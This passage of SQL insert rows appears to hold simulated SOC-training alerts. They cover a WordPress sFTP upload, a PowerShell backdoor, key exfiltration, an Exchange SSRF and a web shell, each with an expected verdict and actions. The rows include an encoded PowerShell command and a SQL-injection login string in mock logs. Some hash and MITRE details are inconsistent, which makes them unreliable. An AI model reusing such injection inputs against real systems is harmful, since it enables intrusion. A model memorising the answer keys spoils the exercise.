(1055, 'Suspicious sFTP Activity', 'medium', 'sFTP server logs', 'An attacker has uploaded a malicious script to a WordPress site via sFTP. The script is intended to exploit known vulnerabilities in WordPress installations.', 'Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"sftp_server\":\"sftp.example.com\",\"action\":\"upload\",\"username\":\"compromised_user\",\"client_ip\":\"203.0.113.45\",\"server_ip\":\"192.168.1.10\",\"file_uploaded\":\"malicious_script.php\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"transfer_status\":\"completed\"}', '2026-01-24 00:38:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account used in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"File identified as a malicious script targeting WordPress.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware associated with WordPress exploits.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.755Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"sftp_server\\\":\\\"sftp.example.com\\\",\\\"action\\\":\\\"upload\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"server_ip\\\":\\\"192.168.1.10\\\",\\\"file_uploaded\\\":\\\"malicious_script.php\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"transfer_status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.755Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"sftp_server\\\":\\\"sftp.example.com\\\",\\\"action\\\":\\\"upload\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"server_ip\\\":\\\"192.168.1.10\\\",\\\"file_uploaded\\\":\\\"malicious_script.php\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"transfer_status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.755Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"sftp_server\\\":\\\"sftp.example.com\\\",\\\"action\\\":\\\"upload\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"server_ip\\\":\\\"192.168.1.10\\\",\\\"file_uploaded\\\":\\\"malicious_script.php\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"transfer_status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.755Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"sftp_server\\\":\\\"sftp.example.com\\\",\\\"action\\\":\\\"upload\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"server_ip\\\":\\\"192.168.1.10\\\",\\\"file_uploaded\\\":\\\"malicious_script.php\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"transfer_status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.755Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"sftp_server\\\":\\\"sftp.example.com\\\",\\\"action\\\":\\\"upload\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"server_ip\\\":\\\"192.168.1.10\\\",\\\"file_uploaded\\\":\\\"malicious_script.php\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"transfer_status\\\":\\\"completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1056, 'Persistent Backdoor Established', 'high', 'Endpoint detection and response (EDR) logs', 'An attacker has installed a persistent backdoor on the compromised system to maintain access. This action is part of a broader campaign to ensure continued access even if initial infections are detected and removed.', 'Persistence', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"hostname\":\"compromised-host\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.45\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -encodedCommand aW1wb3J0LW1vZHVsZSBuZXQuc2VydmljZXM7IFN0YXJ0LVByb2Nlc3MgJ3NjcmlwdC5leGUn\",\"username\":\"compromised_user\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Roaming\\\\backdoor.exe\"}', '2026-01-24 00:38:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with backdoor malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Database\",\"verdict\":\"malicious\",\"details\":\"Backdoor used for persistent access.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Compromised user account used to execute the backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1057, 'Lateral Movement Detected in Network', 'high', 'Network traffic analysis', 'Using the established backdoor, the attacker moves laterally to other systems, targeting more WordPress accounts.', 'Lateral Movement', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.12\",\"user\":\"wp_admin\",\"malware_hash\":\"4d2c6b6ba54ede6b9d5c1d1f1e5b8c7c\",\"filename\":\"wp_backdoor.php\",\"event_type\":\"network_connection\",\"protocol\":\"TCP\",\"destination_port\":22,\"action\":\"connection_attempt\",\"status\":\"success\"}', '2026-01-24 00:38:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4d2c6b6ba54ede6b9d5c1d1f1e5b8c7c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with known PHP web shell\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wp_backdoor.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Custom PHP script for unauthorized access\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1058, 'SSL Private Key Theft Alert', 'high', 'Data loss prevention (DLP) systems', 'The DLP system detected the unauthorized exfiltration of SSL private keys and other sensitive data. This is a critical step in the attacker\'s operation to exfiltrate sensitive data for future malicious activities or sale on the dark web.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:32:00Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.24\",\"destination_ip\":\"203.0.113.45\",\"username\":\"john.doe\",\"action\":\"exfiltration\",\"sensitive_files\":[{\"filename\":\"ssl_private_key.pem\",\"hash\":\"d2f6e0b5e8a3c1f1d9f2c9b8e4a7f5d2\"},{\"filename\":\"confidential_data.zip\",\"hash\":\"b9d3f8e6c7a1b0c4e3d5f9e8b1a7c3d9\"}],\"exfiltration_method\":\"encrypted_channel\",\"alert_triggered\":true}', '2026-01-24 00:38:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.24\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2f6e0b5e8a3c1f1d9f2c9b8e4a7f5d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"Hash of the exfiltrated SSL private key file.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b9d3f8e6c7a1b0c4e3d5f9e8b1a7c3d9\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"Hash of the exfiltrated confidential data archive.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"ssl_private_key.pem\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"Name of the exfiltrated SSL private key file.\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"Name of the exfiltrated confidential data archive.\"}},{\"id\":\"artifact_7\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_database\",\"verdict\":\"internal\",\"details\":\"Internal user account involved in the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.24\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"sensitive_files\\\":[{\\\"filename\\\":\\\"ssl_private_key.pem\\\",\\\"hash\\\":\\\"d2f6e0b5e8a3c1f1d9f2c9b8e4a7f5d2\\\"},{\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b9d3f8e6c7a1b0c4e3d5f9e8b1a7c3d9\\\"}],\\\"exfiltration_method\\\":\\\"encrypted_channel\\\",\\\"alert_triggered\\\":true}\"},{\"timestamp\":\"2026-02-01T20:31:22.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.24\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"sensitive_files\\\":[{\\\"filename\\\":\\\"ssl_private_key.pem\\\",\\\"hash\\\":\\\"d2f6e0b5e8a3c1f1d9f2c9b8e4a7f5d2\\\"},{\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b9d3f8e6c7a1b0c4e3d5f9e8b1a7c3d9\\\"}],\\\"exfiltration_method\\\":\\\"encrypted_channel\\\",\\\"alert_triggered\\\":true}\"},{\"timestamp\":\"2026-02-01T20:30:22.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.24\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"sensitive_files\\\":[{\\\"filename\\\":\\\"ssl_private_key.pem\\\",\\\"hash\\\":\\\"d2f6e0b5e8a3c1f1d9f2c9b8e4a7f5d2\\\"},{\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b9d3f8e6c7a1b0c4e3d5f9e8b1a7c3d9\\\"}],\\\"exfiltration_method\\\":\\\"encrypted_channel\\\",\\\"alert_triggered\\\":true}\"},{\"timestamp\":\"2026-02-01T20:29:22.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.24\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"sensitive_files\\\":[{\\\"filename\\\":\\\"ssl_private_key.pem\\\",\\\"hash\\\":\\\"d2f6e0b5e8a3c1f1d9f2c9b8e4a7f5d2\\\"},{\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b9d3f8e6c7a1b0c4e3d5f9e8b1a7c3d9\\\"}],\\\"exfiltration_method\\\":\\\"encrypted_channel\\\",\\\"alert_triggered\\\":true}\"},{\"timestamp\":\"2026-02-01T20:28:22.757Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.24\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"sensitive_files\\\":[{\\\"filename\\\":\\\"ssl_private_key.pem\\\",\\\"hash\\\":\\\"d2f6e0b5e8a3c1f1d9f2c9b8e4a7f5d2\\\"},{\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"b9d3f8e6c7a1b0c4e3d5f9e8b1a7c3d9\\\"}],\\\"exfiltration_method\\\":\\\"encrypted_channel\\\",\\\"alert_triggered\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1059, 'Suspicious Access via CVE-2021-26855', 'high', 'Network traffic logs', 'An unauthorized access attempt was detected on the Exchange server. The attacker exploited CVE-2021-26855, an SSRF vulnerability, to impersonate the Exchange server and bypass authentication.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:55Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"destination_port\":443,\"exploit\":\"CVE-2021-26855\",\"username\":\"exchange_admin\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\",\"http_method\":\"POST\",\"request_uri\":\"/owa/auth/x.js\",\"response_code\":200,\"malicious_payload_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-24 03:32:45', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal Exchange server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"exchange_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Anomalous activity detected using this username.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1060, 'Web Shell Deployment Detected', 'high', 'Web server logs', 'A web shell has been detected on the server, indicating the attacker has deployed it to maintain persistent access and execute remote commands. The web shell was uploaded to the server following initial access.', 'Persistence', 'T1505.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:34Z\",\"web_server\":\"Apache/2.4.41 (Ubuntu)\",\"client_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"http_request\":\"POST /uploads/suspicious.php HTTP/1.1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"filename\":\"suspicious.php\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"webadmin\",\"status_code\":200,\"response_size\":345}', '2026-01-24 03:32:45', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple web shell attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"suspicious.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Common web shell filename used by attackers\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash matches known web shell\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"webadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Users\",\"verdict\":\"clean\",\"details\":\"Authorized user but potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.759Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:34Z\\\",\\\"web_server\\\":\\\"Apache/2.4.41 (Ubuntu)\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"http_request\\\":\\\"POST /uploads/suspicious.php HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"filename\\\":\\\"suspicious.php\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\",\\\"status_code\\\":200,\\\"response_size\\\":345}\"},{\"timestamp\":\"2026-02-01T20:31:22.759Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:34Z\\\",\\\"web_server\\\":\\\"Apache/2.4.41 (Ubuntu)\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"http_request\\\":\\\"POST /uploads/suspicious.php HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"filename\\\":\\\"suspicious.php\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\",\\\"status_code\\\":200,\\\"response_size\\\":345}\"},{\"timestamp\":\"2026-02-01T20:30:22.759Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:34Z\\\",\\\"web_server\\\":\\\"Apache/2.4.41 (Ubuntu)\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"http_request\\\":\\\"POST /uploads/suspicious.php HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"filename\\\":\\\"suspicious.php\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\",\\\"status_code\\\":200,\\\"response_size\\\":345}\"},{\"timestamp\":\"2026-02-01T20:29:22.759Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:34Z\\\",\\\"web_server\\\":\\\"Apache/2.4.41 (Ubuntu)\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"http_request\\\":\\\"POST /uploads/suspicious.php HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"filename\\\":\\\"suspicious.php\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\",\\\"status_code\\\":200,\\\"response_size\\\":345}\"},{\"timestamp\":\"2026-02-01T20:28:22.759Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:34Z\\\",\\\"web_server\\\":\\\"Apache/2.4.41 (Ubuntu)\\\",\\\"client_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"http_request\\\":\\\"POST /uploads/suspicious.php HTTP/1.1\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows 